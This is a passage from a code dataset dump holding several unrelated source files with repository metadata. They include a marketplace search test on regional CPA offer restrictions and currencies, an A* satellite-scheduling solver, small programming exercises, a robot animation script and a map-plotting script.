Shops.all_shops:\n cls.dynamic.lms.append(DynamicWarehouseInfo(id=shop.warehouse_id, home_region=shop.priority_region))\n\n cls.dynamic.lms += [\n DynamicDaysSet(key=1, days=[]),\n DynamicWarehousesPriorityInRegion(region=RID_RU, warehouses=[shop.warehouse_id for shop in Shops.ru_shops]),\n DynamicWarehousesPriorityInRegion(region=RID_BL, warehouses=[shop.warehouse_id for shop in Shops.bl_shops]),\n DynamicDeliveryServiceInfo(\n 9,\n \"DPD\",\n region_to_region_info=[\n DeliveryServiceRegionToRegionInfo(region_from=213, region_to=RID_RU, days_key=1),\n DeliveryServiceRegionToRegionInfo(region_from=213, region_to=RID_BL, days_key=1),\n DeliveryServiceRegionToRegionInfo(region_from=RID_MINSK_AREA, region_to=RID_BL, days_key=1),\n ],\n ),\n ]\n\n cls.index.delivery_buckets += [\n DeliveryBucket(\n bucket_id=42,\n dc_bucket_id=42,\n fesh=RuShop.SHOP_ID,\n carriers=[99],\n delivery_program=DeliveryBucket.REGULAR_PROGRAM,\n regional_options=[\n RegionalDelivery(rid=RID_MSK, options=[DeliveryOption(price=100, day_from=1, day_to=1)]),\n RegionalDelivery(rid=RID_MINSK_AREA, options=[DeliveryOption(price=250, day_from=3, day_to=4)]),\n ],\n ),\n DeliveryBucket(\n bucket_id=43,\n fesh=BlShop.SHOP_ID,\n carriers=[99],\n delivery_program=DeliveryBucket.REGULAR_PROGRAM,\n regional_options=[\n RegionalDelivery(rid=RID_MINSK_AREA, options=[DeliveryOption(price=100, day_from=1, day_to=5)])\n ],\n ),\n DeliveryBucket(\n bucket_id=44,\n fesh=RuDsbsShop.SHOP_ID,\n carriers=[99],\n delivery_program=DeliveryBucket.REGULAR_PROGRAM,\n regional_options=[\n RegionalDelivery(rid=RID_MSK, options=[DeliveryOption(price=100, day_from=1, day_to=1)]),\n RegionalDelivery(rid=RID_MINSK_AREA, options=[DeliveryOption(price=300, day_from=3, day_to=5)]),\n ],\n ),\n DeliveryBucket(\n bucket_id=45,\n fesh=BlDsbsShop.SHOP_ID,\n carriers=[99],\n delivery_program=DeliveryBucket.REGULAR_PROGRAM,\n regional_options=[\n RegionalDelivery(rid=RID_MINSK_AREA, options=[DeliveryOption(price=100, day_from=1, day_to=1)])\n ],\n ),\n DeliveryBucket(\n bucket_id=46,\n fesh=RuRestrictedShop.SHOP_ID,\n carriers=[99],\n delivery_program=DeliveryBucket.REGULAR_PROGRAM,\n regional_options=[\n RegionalDelivery(rid=RID_MSK, options=[DeliveryOption(price=100, day_from=1, day_to=1)]),\n RegionalDelivery(rid=RID_MINSK_AREA, options=[DeliveryOption(price=250, day_from=3, day_to=4)]),\n ],\n ),\n ]\n\n cls.delivery_calc.on_request_offer_buckets(weight=5, height=10, length=30, width=20, warehouse_id=145).respond(\n [42], [], []\n )\n\n cls.index.shops += [\n RuShop.shop,\n BlShop.shop,\n RuDsbsShop.shop,\n BlDsbsShop.shop,\n RuCpcShop.shop,\n BlCpcShop.shop,\n RuRestrictedShop.shop,\n ]\n for shop in [RuShop, BlShop, RuRestrictedShop]:\n cls.index.mskus += [create_msku([offer], hid=HID_ID, num=MODEL_ID) for offer in shop.offers]\n\n cls.index.offers += RuDsbsShop.offers\n cls.index.offers += BlDsbsShop.offers\n cls.index.offers += RuCpcShop.offers\n cls.index.offers += BlCpcShop.offers\n\n @classmethod\n def prepare_nordstream(cls):\n\n cls.dynamic.nordstream += [\n DynamicWarehouseLink(shop.warehouse_id, [shop.warehouse_id]) for shop in Shops.all_shops\n ]\n\n cls.dynamic.nordstream += [\n DynamicWarehouseDelivery(\n shop.warehouse_id,\n {\n 213: [\n DynamicDeliveryRestriction(\n max_phys_weight=20000,\n max_dim_sum=150,\n max_dimensions=[50, 50, 50],\n prohibited_cargo_types=[2],\n max_payment_weight=50,\n density=10,\n min_days=1,\n max_days=3,\n ),\n DynamicDeliveryRestriction(\n max_phys_weight=40000,\n max_dim_sum=250,\n max_dimensions=[100, 100, 100],\n min_days=3,\n max_days=4,\n ),\n ],\n RID_RU: [\n DynamicDeliveryRestriction(\n max_phys_weight=50000, max_dim_sum=220, max_dimensions=[80, 80, 80], min_days=5, max_days=6\n )\n ],\n RID_BL: [\n DynamicDeliveryRestriction(\n max_phys_weight=50000, max_dim_sum=220, max_dimensions=[80, 80, 80], min_days=7, max_days=10\n )\n ],\n },\n )\n for shop in Shops.ru_shops\n ]\n\n cls.dynamic.nordstream += [\n DynamicWarehouseDelivery(\n shop.warehouse_id,\n {\n RID_MINSK_AREA: [\n DynamicDeliveryRestriction(\n max_phys_weight=20000,\n max_dim_sum=150,\n max_dimensions=[50, 50, 50],\n prohibited_cargo_types=[2],\n max_payment_weight=50,\n density=10,\n min_days=1,\n max_days=3,\n ),\n DynamicDeliveryRestriction(\n max_phys_weight=40000,\n max_dim_sum=250,\n max_dimensions=[100, 100, 100],\n min_days=3,\n max_days=4,\n ),\n ],\n RID_BL: [\n DynamicDeliveryRestriction(\n max_phys_weight=50000, max_dim_sum=220, max_dimensions=[80, 80, 80], min_days=5, max_days=6\n )\n ],\n },\n )\n for shop in Shops.bl_shops\n ]\n\n cls.dynamic.nordstream += generate_dsbs(cls.index)\n\n def test_cpa_restriction(self):\n '''\n Делаем запрос в productoffers (он самый показательный, т.к. выдаст все офферы)\n Ожидаем, что без rearr-флага cpa_enabled_countries в Беларуси увидим только cpc офферы\n С флагом - видим все офферы\n '''\n request = 'place=productoffers&rids={rids}&hyperid={hyper_id}&debug=da'\n rearr_flags = ['', '&rearr-factors=cpa_enabled_countries=149']\n '''\n Для России ответ должен быть одинаковым независимо от значения реарр-флага\n '''\n ru_response = {\n \"search\": {\n \"results\": [\n {\"entity\": \"offer\", \"wareId\": \"russian_offer_dsbs___w\"},\n {\"entity\": \"offer\", \"wareId\": \"russian_cpc_offer____w\"},\n {\"entity\": \"offer\", \"wareId\": \"russian_offer________w\"},\n {\"entity\": \"offer\", \"wareId\": \"rus_restricted_offer_w\"},\n ]\n }\n }\n '''\n С включенной cpa выдачей в Беларуси мы показываем российские CPA офферы,\n беларусские CPA и CPC офферы. DBS офферы должны быть скрыты\n '''\n bl_cpa_response = {\n \"search\": {\n \"results\": [\n {\"entity\": \"offer\", \"wareId\": \"belarusian_cpc_offer_w\"},\n {\"entity\": \"regionalDelimiter\"},\n {\"entity\": \"offer\", \"wareId\": \"belarusian_offer_____w\"},\n {\"entity\": \"offer\", \"wareId\": \"russian_offer________w\"},\n ]\n }\n }\n '''\n С выключенной cpa выдачей в Беларуси мы показываем беларусские CPС офферы\n '''\n bl_non_cpa_response = {\n \"search\": {\n \"results\": [\n {\"entity\": \"offer\", \"wareId\": \"belarusian_cpc_offer_w\"},\n ]\n }\n }\n '''\n Проверяем, что работает скрытие CPA по стране\n В случае выключенного rearr - скрываем CPA офферы\n В случае включенного rearr - скрываем DBS\n '''\n hide_reason_response = {\n \"brief\": {\n \"filters\": {\n \"CPA_DISABLED_IN_COUNTRY\": 2,\n }\n }\n }\n\n for rid in [RID_MSK, RID_MINSK_CITY]:\n for rearr in rearr_flags:\n is_rearr_enabled = len(rearr) > 0\n response = self.report.request_json(request.format(rids=rid, hyper_id=MODEL_ID) + rearr)\n expected_response = (\n ru_response if rid == RID_MSK else bl_cpa_response if is_rearr_enabled else bl_non_cpa_response\n )\n self.assertFragmentIn(response, expected_response, allow_different_len=False)\n if rid == RID_MINSK_AREA:\n self.assertFragmentIn(response, hide_reason_response)\n\n def test_cpa_supplier_region_restrictions(self):\n '''\n Проверяем работу ограничей мерчей по регионам\n Ограничения указываются в supplier_region_restrictions.fb\n При включенном rearr оффер магазина 9990 должен быть исключен\n '''\n request = 'place=productoffers&rids={rid}&hyperid={hyper_id}&debug=da&rearr-factors=cpa_enabled_countries=149'\n rearr_flags = [';market_cpa_supplier_region_restrictions_enabled={enabled}', '']\n rids = [RID_MSK, RID_MINSK_CITY]\n\n rus_response = {\n \"search\": {\n \"totalOffers\": 4,\n \"results\": [\n {\"entity\": \"offer\", \"wareId\": \"rus_restricted_offer_w\"},\n {\"entity\": \"offer\", \"wareId\": \"russian_offer_dsbs___w\"},\n {\"entity\": \"offer\", \"wareId\": \"russian_cpc_offer____w\"},\n {\"entity\": \"offer\", \"wareId\": \"russian_offer________w\"},\n ],\n }\n }\n bl_response = {\n \"search\": {\n \"totalOffers\": 4,\n \"results\": [\n {\"entity\": \"offer\", \"wareId\": \"belarusian_cpc_offer_w\"},\n {\"entity\": \"offer\", \"wareId\": \"rus_restricted_offer_w\"},\n {\"entity\": \"offer\", \"wareId\": \"belarusian_offer_____w\"},\n {\"entity\": \"offer\", \"wareId\": \"russian_offer________w\"},\n ],\n }\n }\n bl_restricted_response = {\n \"search\": {\n \"totalOffers\": 3,\n \"results\": [\n {\"entity\": \"offer\", \"wareId\": \"belarusian_cpc_offer_w\"},\n {\"entity\": \"offer\", \"wareId\": \"belarusian_offer_____w\"},\n {\"entity\": \"offer\", \"wareId\": \"russian_offer________w\"},\n ],\n }\n }\n\n hide_reason_response = {\n \"brief\": {\n \"filters\": {\n \"CPA_DISABLED_IN_REGION_BY_SUPPLIER\": 1,\n }\n }\n }\n\n for restriction_enabled in [0, 1]:\n for rid in rids:\n for rearr in rearr_flags:\n current_rearr = rearr\n if len(rearr) > 0:\n current_rearr = current_rearr.format(enabled=restriction_enabled)\n current_request = request.format(rid=rid, hyper_id=MODEL_ID) + current_rearr\n response = self.report.request_json(current_request)\n expected_response = (\n rus_response\n if rid == RID_MSK\n else bl_restricted_response\n if restriction_enabled or len(rearr) == 0\n else bl_response\n )\n self.assertFragmentIn(response, expected_response)\n if rid == RID_MINSK_CITY and (restriction_enabled or len(rearr) == 0):\n self.assertFragmentIn(response, hide_reason_response)\n\n def test_multiple_currencies(self):\n '''\n Проверяем, что в поле price работает режим мультивалютной выдачи\n Основная валюта - валюта из локали запроса (поле currency, валюта региона или валюта региона из флага force-region)\n Доп.поле с ценой в рублях добавляется при включенном флаге use-multiple-currencies и основной валюте, отличной от российских рублей\n '''\n one_currency_response = {\n \"search\": {\n \"results\": [\n {\n \"entity\": \"offer\",\n \"prices\": {\"value\": \"34.34\", \"currency\": \"BYN\", \"paymentCurrencyPrice\": Absent()},\n \"delivery\": {\n \"options\": [\n {\n \"price\": {\"currency\": \"BYN\", \"value\": \"3.4\", \"paymentCurrencyPrice\": Absent()},\n }\n ]\n },\n }\n ]\n }\n }\n multi_currency_response = {\n \"search\": {\n \"results\": [\n {\n \"entity\": \"offer\",\n \"prices\": {\n \"value\": \"34.34\",\n \"currency\": \"BYN\",\n \"paymentCurrencyPrice\": {\"value\": \"1000\", \"currency\": \"RUR\"},\n },\n \"delivery\": {\n \"options\": [\n {\n \"price\": {\n \"currency\": \"BYN\",\n \"value\": \"3.4\",\n \"paymentCurrencyPrice\": {\"currency\": \"RUR\", \"value\": \"99\"},\n },\n }\n ]\n },\n }\n ]\n }\n }\n rur_response = {\n \"search\": {\n \"results\": [\n {\n \"entity\": \"offer\",\n \"prices\": {\"value\": \"1000\", \"currency\": \"RUR\", \"paymentCurrencyPrice\": Absent()},\n \"delivery\": {\n \"options\": [\n {\n \"price\": {\"currency\": \"RUR\", \"value\": \"99\", \"paymentCurrencyPrice\": Absent()},\n }\n ]\n },\n }\n ]\n }\n }\n test_data = []\n # check with currency cgi-parameter\n # проверяем задание валюты по региону\n test_data.append(\n (\n 'place=offerinfo&offerid=russian_offer________w&rids={rids}®set=2&rearr-factors=cpa_enabled_countries=149;',\n False,\n )\n )\n # проверяем задание валюты по региону\n test_data.append(\n (\n 'place=offerinfo&offerid=russian_offer________w&rids={rids}®set=2&rearr-factors=force-region=149;',\n False,\n )\n )\n # проверям задание валюты по параметру currency\n test_data.append(\n ('place=offerinfo&offerid=russian_offer________w&rids={rids}®set=2¤cy=BYN&rearr-factors=', False)\n )\n # проверяем, что мультивалютность не включается, когда основная валюта - российский рубль\n # проверка валюты по российскому региону\n test_data.append(('place=offerinfo&offerid=russian_offer________w&rids={rids}®set=2&rearr-factors=', True))\n # проверка валюты по явному заданию в CGI\n test_data.append(\n (\n 'place=offerinfo&offerid=russian_offer________w&rids={rids}®set=2¤cy=RUR&rearr-factors=cpa_enabled_countries=149;',\n True,\n )\n )\n for request, rur_expected in test_data:\n for multi_currency_enabled in [0, 1]:\n current_request = request + 'use-multiple-currencies={multi_currency}'\n rid = RID_MINSK_CITY if 'cpa_enabled_countries' in request else RID_MSK\n response = self.report.request_json(\n current_request.format(rids=rid, multi_currency=multi_currency_enabled)\n )\n expected_response = (\n rur_response\n if rur_expected\n else multi_currency_response\n if multi_currency_enabled\n else one_currency_response\n )\n self.assertFragmentIn(response, expected_response)\n all_offers_request = 'place=productoffers&hyperid={hyper_id}&rids={rid}&rearr-factors=cpa_enabled_countries=149;use-multiple-currencies={multiple_currencies_enabled}'\n for multi_currency_enabled in [0, 1]:\n current_request = all_offers_request.format(\n hyper_id=MODEL_ID, rid=RID_MINSK_CITY, multiple_currencies_enabled=multi_currency_enabled\n )\n response = self.report.request_json(current_request)\n self.assertFragmentIn(\n response,\n {\n \"search\": {\n \"results\": [\n {\n \"entity\": \"offer\",\n \"wareId\": \"belarusian_offer_____w\",\n \"prices\": {\n \"currency\": \"BYN\",\n \"value\": \"100\",\n \"paymentCurrencyPrice\": {\"currency\": \"RUR\", \"value\": \"2912\"}\n if multi_currency_enabled\n else Absent(),\n },\n \"delivery\": {\n \"options\": [\n {\n \"price\": {\n \"currency\": \"BYN\",\n \"value\": \"3.4\",\n \"paymentCurrencyPrice\": {\"currency\": \"RUR\", \"value\": \"99\"}\n if multi_currency_enabled\n else Absent(),\n },\n }\n ]\n },\n },\n {\n \"entity\": \"offer\",\n \"wareId\": \"belarusian_cpc_offer_w\",\n \"prices\": {\n \"currency\": \"BYN\",\n \"value\": \"100\",\n \"paymentCurrencyPrice\": {\"currency\": \"RUR\", \"value\": \"2912\"}\n if multi_currency_enabled\n else Absent(),\n },\n \"delivery\": {\n \"options\": [\n {\n \"price\": {\n \"currency\": \"BYN\",\n \"value\": \"3.43\",\n \"paymentCurrencyPrice\": {\"currency\": \"RUR\", \"value\": \"100\"}\n if multi_currency_enabled\n else Absent(),\n },\n }\n ]\n },\n },\n {\n \"entity\": \"offer\",\n \"wareId\": \"russian_offer________w\",\n \"prices\": {\n \"currency\": \"BYN\",\n \"value\": \"34.34\",\n \"paymentCurrencyPrice\": {\"currency\": \"RUR\", \"value\": \"1000\"}\n if multi_currency_enabled\n else Absent(),\n },\n \"delivery\": {\n \"options\": [\n {\n \"price\": {\n \"currency\": \"BYN\",\n \"value\": \"3.4\",\n \"paymentCurrencyPrice\": {\"currency\": \"RUR\", \"value\": \"99\"}\n if multi_currency_enabled\n else Absent(),\n },\n }\n ]\n },\n },\n ]\n }\n },\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"market/GENERAL/test_sng.py","file_name":"test_sng.py","file_ext":"py","file_size_in_byte":32532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"44277563394","text":"from queue import PriorityQueue\nfrom dataclasses import dataclass, field\nfrom typing import Any\nimport time\nfrom state import Satellite, Object, State_t\nimport argparse\nimport sys, io\nimport re\n\n\ndef BFS(initial_state):\n \"\"\"\n Implementation of Breath first search algorithm\n \"\"\"\n open = []\n closed = set()\n if(initial_state.is_goal()):\n return initial_state\n open.append(initial_state)\n while(len(open)>0):\n node = open.pop(0)\n children = node.children()\n closed.add(node)\n \n for child in children:\n if child.is_goal():\n return child\n if child not in closed:\n open.append(child)\n \n \ndef A_star(intitial_state):\n \"\"\"\n Implementation of A_star algorithm\n \n *Parameters:\n - Initial state of the problem\n \n *Returns:\n - Final state of the problem\n - Number of nodes expanded to reach the solution\n\n \"\"\"\n\n # Priority queue with the ordered nodes to expand\n open = PriorityQueue()\n\n # Set that stores expanded nodes\n closed = set()\n\n # Counter for the number of expansions\n expansions = 0\n\n # Introducing the initial state of the problem with the funcion of the node\n open.put((initial_state.f(),initial_state))\n while(not open.empty()):\n\n # We get the node with the lowest value of f()\n node = open.get()[1]\n \n #If the node to be expanded is a goal, we return it\n if node.is_goal():\n return node,expansions\n \n # Obtaining a list of counters\n children = node.children()\n\n # Update the expandion counter\n expansions+=1\n \n # Adding the node to closed\n closed.add(node)\n \n # Adding the children to open if they are not already expanded (in closed)\n for child in children:\n if child not in closed:\n open.put((child.f(),child))\n\n\ndef extract_data(string, pattern):\n \"\"\"\n Extracts a list containing the capturing groups of a string given a regular expression\n *Parmeters:\n - string to be analyzed\n - pattern to be compared against\n\n *Returns:\n - list of ints with the values to be captured\n \"\"\"\n # The imported module prints a warning to the standard error. We redirect the warning no to print it\n stderr = sys.stderr\n sys.stderr = io.StringIO()\n \n # We search the capturable values in the string\n search_res=re.search(pattern,string)\n list = []\n # If possible, the values are converted to int an added to alist to be returned\n if search_res is None:\n return None\n else:\n i=1\n while (i<=search_res.lastindex):\n list.append(int(search_res.group(i)))\n i=i+1\n \n # Restoring standard error\n sys.stderr = stderr\n\n return list\n\n \n \nif __name__ == '__main__':\n\n # Help command\n parser=argparse.ArgumentParser(\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description='''This program is used to search the best solution in a satellite scenario\n The initial problem configuration must the following format:\n \n \"OBS: (0,1);(0,3);(1,3)\"\n \"SAT1: 1;1;1;1;1\"\n \"SAT2: 1;1;1;1;8\"\n ''',\n epilog=\"\"\"An example \"./cosmos.sh problema.prob h2\" \"\"\"\n )\n parser.add_argument('directory_name', nargs='*', default=[1, 2, 3], help='Insert the file location with the intial problem configuration')\n parser.add_argument('heuristic', help='For the second argument two heuristics can be chose \"h1\" or \"h2\"')\n \n # Parsing the arguments of the problem\n args=parser.parse_args()\n \n # Opening the file and splitting it in lines\n file=open(sys.argv[1],'r')\n lines=file.readlines()\n\n objects = []\n satellites = []\n\n # Regular expressions for satellites and objects\n sat_pattern = r\"(?:SAT[\\d]+:\\s([\\d]+);([\\d]+);([\\d]+);([\\d]+);([\\d]+))\"\n obj_pattern = r\"\\(([\\d]+),([[0-9]|(?:1[0-1]))\\)\"\n \n # Extracting the object tuples substring\n lines_rem=lines[0].split(\" \")\n \n # Getting the tuples alone\n final_objects=lines_rem[1].split(\";\")\n\n # Extracting the data of the objects and instantiating them in the list\n for i in range (0, len(final_objects)):\n obje_data = extract_data(final_objects[i],obj_pattern)\n objects.append(Object(obje_data[0],obje_data[1]))\n \n\n # Extracting the data of each satellite and instantiating them in their container\n # We assume that the satellites initially cover all the possible bands. They start at 0 and the following ones add +1\n # To fit all the bands the last one is two bands appart from the provious one\n # As it is not specified, we chose this configuration so that all the bands are initially covered\n bands = 0\n for i in range(1,len(lines)):\n sat_data = extract_data(lines[i],sat_pattern)\n satellites.append(Satellite(bands,sat_data[3],sat_data[1],sat_data[0],sat_data[2],sat_data[4],0))\n bands+=1\n if i != len(lines)-2:\n bands+=1\n \n \n file.close()\n \n # Creation of the initial state of the problem\n initial_state = State_t(satellites, objects, None, 0, 0, sys.argv[2])\n\n # Calculating the solution with A* and measuring the time\n start = time.time()\n final_state,expansions = A_star(initial_state)\n end = time.time()\n \n # Printing the statistics of the problem solution\n sys.stdout = open('problem.prob.statistics', 'w')\n print(\"Overall time: {:.2f}\\nOverall cost: {}\\n# Steps: {}\\n# Expansions: {}\\n\".format(end-start, final_state.get_cost(), final_state.get_steps(), expansions))\n sys.stdout = sys.__stdout__\n print(\"Overall time: {:.2f}\\nOverall cost: {}\\n# Steps: {}\\n# Expansions: {}\\n\".format(end-start, final_state.get_cost(), final_state.get_steps(), expansions))\n # Getting into a list the actions taken by each of the nodes\n number_of_satellites = len(final_state.satellites)\n actions = []\n while(final_state.parent is not None):\n actions.insert(0,final_state.action_taken)\n final_state = final_state.parent\n \n # Printing the actions taken by each node\n time_step = 0\n string_to_print = \"\"\n\n # For every action of the satellies\n for action_index in range(0,len(actions)):\n # Introducing new line and time step\n if(action_index % number_of_satellites == 0):\n time_step+=1\n # If the action is the first, we dont add a new line at the beginning\n if action_index == 0:\n string_to_print += \"{}. \".format(time_step) \n else: \n string_to_print += \"\\n{}. \".format(time_step)\n # Loop to get all the satellite actions in this line\n for satellite_index in range(0,number_of_satellites):\n if action_index + satellite_index < len(actions):\n # Printing a final comma or not depeding if it is the last satellite\n if satellite_index == number_of_satellites-1:\n string_to_print += \"{} \".format(actions[action_index + satellite_index])\n else: \n string_to_print += \"{}, \".format(actions[action_index + satellite_index])\n\n # Printing solution \n stdout_ = sys.stdout\n sys.stdout = open('problema.prob.output', 'w')\n print(string_to_print)\n sys.stdout = sys.__stdout__\n print(string_to_print)","repo_name":"Langoyo/heuristics","sub_path":"csp-search/parte-2/Cosmos.py","file_name":"Cosmos.py","file_ext":"py","file_size_in_byte":7497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23842451158","text":"\n#Create a function that takes a number as an argument and returns \"Fizz\", \"Buzz\" or \"FizzBuzz\".\n\n# If the number is a multiple of 3 the output should be \"Fizz\".\n# If the number given is a multiple of 5, the output should be \"Buzz\".\n# If the number given is a multiple of both 3 and 5, the output should be \"FizzBuzz\".\n# If the number is not a multiple of either 3 or 5, the number should be output on its own as shown in the examples below.\n# The output should always be a string even if it is not a multiple of 3 or 5.\n# Examples\n# fizz_buzz(3) ➞ \"Fizz\"\n\n# fizz_buzz(5) ➞ \"Buzz\"\n\n# fizz_buzz(15) ➞ \"FizzBuzz\"\n\n# fizz_buzz(4) ➞ \"4\"\n\ndef fizz_buzz(number):\n string = ''\n if number % 5 == 0 and number % 3 == 0:\n string += ('FizzBuzz')\n elif number % 5 == 0:\n string += ('Buzz')\n elif number % 3 == 0:\n string += ('Fizz')\n else:\n string = str(number)\n print(string)\n\nfizz_buzz(3)\nfizz_buzz(5)\nfizz_buzz(15)\nfizz_buzz(4)\n\n# You work for a manufacturer, and have been asked to calculate the total profit made on the sales of a product. \n# You are given a dictionary containing the cost price per unit (in dollars), sell price per unit ( in dollars), \n# and the starting inventory. Return the total profit made, rounded to the nearest dollar.\n\n# profit({\n# \"cost_price\": 225.89,\n# \"sell_price\": 550.00,\n# \"inventory\": 100\n# }) ➞ 32411\n\n# profit({\n# \"cost_price\": 2.77,\n# \"sell_price\": 7.95,\n# \"inventory\": 8500\n# }) ➞ 44030\n# Notes\n# Assume all inventory has been sold.\n# Profit = Total Sales - Total Cost\n\n\ndef total_profit(attributes):\n \"\"\"\n rounds the total profit under the assumption that all inventory was sold.\n \"\"\"\n return round((attributes['sell_price'] - attributes['cost_price']) * attributes['inventory'])\n\n\ntotal_profit({\n \"cost_price\": 225.89,\n \"sell_price\": 550.00,\n \"inventory\": 100\n})\n","repo_name":"kickachain/challenges","sub_path":"challenges.py","file_name":"challenges.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22570250626","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport math\r\nfrom class_track import Track\r\nfrom matplotlib.animation import PillowWriter\r\nfrom matplotlib import animation\r\nfrom matplotlib.animation import FuncAnimation\r\nfrom class_robot import Robot\r\nimport statistics as st\r\n\r\ntrack = Track(sampling=4000)\r\nrobot = Robot(track)\r\n\r\nres = True\r\nwhile res:\r\n res = robot.delta_t_tick()\r\n\r\nfps = int(len(robot.current_pos) / robot.total_time)\r\nalphas = robot.get_alphas()\r\n\r\nprint(\"Time: \", robot.total_time)\r\nprint(\"Fps: \", fps)\r\nprint(\"Avg speed: \", st.mean(robot.v_hist))\r\nprint(\"Points: \", len(robot.current_pos))\r\n\r\n\r\nfig, ax = plt.subplots(1, 1)\r\n\r\n\r\ndef animate(i):\r\n ax.clear()\r\n ax.plot(track.xs, track.ys, label=\"trajectory\")\r\n try:\r\n ax.arrow(robot.current_pos[i][0], robot.current_pos[i][1], math.cos(alphas[i])*robot.v_hist[i], math.sin(alphas[i])*robot.v_hist[i], width=0.05, length_includes_head=True)\r\n except IndexError as e:\r\n pass\r\n ax.plot(robot.current_pos[i][0], robot.current_pos[i][1], color='red',\r\n label='original', marker='o')\r\n ax.set_xlim([0, 7])\r\n ax.set_ylim([-2, 2])\r\n\r\n\r\nani = FuncAnimation(fig, animate, frames=len(robot.current_pos),\r\n repeat=False, interval=1)\r\n\r\nwritervideo = animation.FFMpegWriter(fps=fps)\r\nani.save(\"NoskovN_robot_run.mp4\", writer=writervideo)\r\n\r\nplt.show()\r\n","repo_name":"WefPok/Theoretical-Mechanics-2022","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2671798585","text":"import plotly.express as px\nimport pandas as pd\nimport os\n\n\ndef createCountData(df):\n \"\"\"Function to create the count of each entry state/ut wise.\n @params:\n df: dataframe object of the original data\n @return:\n df: dataframe object with state name and the count of postoffices\"\"\"\n\n # Take the count of each state's entries\n df = df.groupby('state_ut').count()\n # Clean the data as per requirements\n df = df.drop(['zipcode', 'region', 'country',\n 'latitude', 'longitude'], axis=1)\n df = df.rename({'post_office': 'count_post_office'}, axis=1)\n\n return df\n\n\ndef createChoroplethMap(df):\n \"\"\"Function to create the choropleth math for count of postoffice in each state\n @params:\n df: dataframe object of count of postoffices in India\n @return:\n fig: plotly figure object with choropleth map\"\"\"\n\n # Update India Map from - https://github.com/datameet/maps\n # Geojson file from - https://stackoverflow.com/questions/60910962/is-there-any-way-to-draw-india-map-in-plotly/\n geojson = \"https://gist.githubusercontent.com/jbrobst/56c13bbbf9d97d187fea01ca62ea5112/raw/e388c4cae20aa53cb5090210a42ebb9b765c0a36/india_states.geojson\"\n\n fig = px.choropleth(df,\n geojson=geojson,\n color=\"count_post_office\",\n featureidkey='properties.ST_NM',\n locations=\"state_ut\",\n color_continuous_scale='Viridis',\n )\n\n fig.update_geos(fitbounds=\"locations\", visible=False)\n fig.update_layout(margin={\"r\": 0, \"t\": 0, \"l\": 0, \"b\": 0})\n return fig\n\n\ndef main():\n pathToOriginalData = '.\\data\\zipcode_db.csv'\n pathToCountData = '.\\data\\\\'\n pathToMap = '.\\static\\\\'\n\n # Read original data and convert to count data\n df = pd.read_csv(pathToOriginalData)\n dfCount = createCountData(df)\n\n fileName = 'zipcode_count.csv'\n pathToCountData = os.path.join(pathToCountData, fileName)\n dfCount.to_csv(pathToCountData)\n\n # Create and write the map to a new html file\n df = pd.read_csv(pathToCountData)\n fig = createChoroplethMap(df)\n\n fileName = 'map.html'\n pathToMap = os.path.join(pathToMap, fileName)\n fig.write_html(pathToMap)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"loganrane/zipcodes-in","sub_path":"make_graph/make_graph.py","file_name":"make_graph.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"2298007037","text":"from itertools import permutations\n\n\nN=int(input())\nList = [list(map(int,input().split())) for h in range(N)]\n\nM=int(input())\nList2 = [list(map(int,input().split())) for h in range(M)]\n\ngrid=[[True]*N for _ in range(N)]\n\nfor i in range(M):\n grid[List2[i][0]-1][List2[i][1]-1]=False\n grid[List2[i][1]-1][List2[i][0]-1]=False\n\nans=[]\n\nfor i in permutations(range(N),N):\n Bool=True\n\n between=[]\n for j in range(N-1):\n if not grid[i[j]][i[j+1]]:\n Bool = False\n break\n num=0\n for j in range(N):\n num+=List[i[j]][j]\n \n if not Bool:\n num=10**5\n \n ans.append(num)\n\nif min(ans)==10**5:\n print(-1)\nelse:\n print(min(ans))","repo_name":"penguinpenguinxx/code-gittt","sub_path":"atcoder.jp/typical90/typical90_af/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71546016872","text":"import numpy as np\nimport matplotlib.pyplot as plt \nimport torchvision\n\n\ndef imshow(img):\n npimg = img.numpy()\n plt.figure(figsize = (10,5)) # 横幅, 縦幅\n plt.imshow(np.transpose(npimg, (1, 2, 0)))\n plt.show()\n\n# 複数の画像を並べて表示する関数\ndef imshow_list(images): \n imshow(torchvision.utils.make_grid(images))\n\ndef cmp_images(net, images, labels, adv_images, classes, n_show):\n preds1 = net(images).argmax(dim=-1) # 予測ラベル\n #print(preds1)\n imshow_list(images[:n_show])\n print(' '.join('%5s' % classes[preds1[j]] for j in range(n_show)))\n\n preds2 = net(adv_images).argmax(dim=-1) # 予測ラベル\n imshow_list((adv_images)[:n_show])\n print(' '.join('%5s' % classes[preds2[j]] for j in range(n_show)))","repo_name":"shun-arkw/machine_learning","sub_path":"src/ex3/image_show.py","file_name":"image_show.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10285122758","text":"#!/usr/bin/env python\nfrom math import sqrt\n\ndef prime():\n yield 2\n count = 2\n p = 3\n while count < 10002:\n if len(list(filter(lambda x: p % x == 0, range(2, int(sqrt(p) + 1))))) == 0:\n yield p\n count += 1\n p += 2\n\nprint(max(prime()))\n","repo_name":"chiwanpark/project-euler","sub_path":"src/prob00007.py","file_name":"prob00007.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25745478116","text":"# BAEKJOON 2606. 바이러스\n\n# 바이러스를 퍼트리는 함수\ndef chain(n):\n global result\n # 바이러스에 걸린 것을 표시\n visited[n] = 1\n for k in range(1, 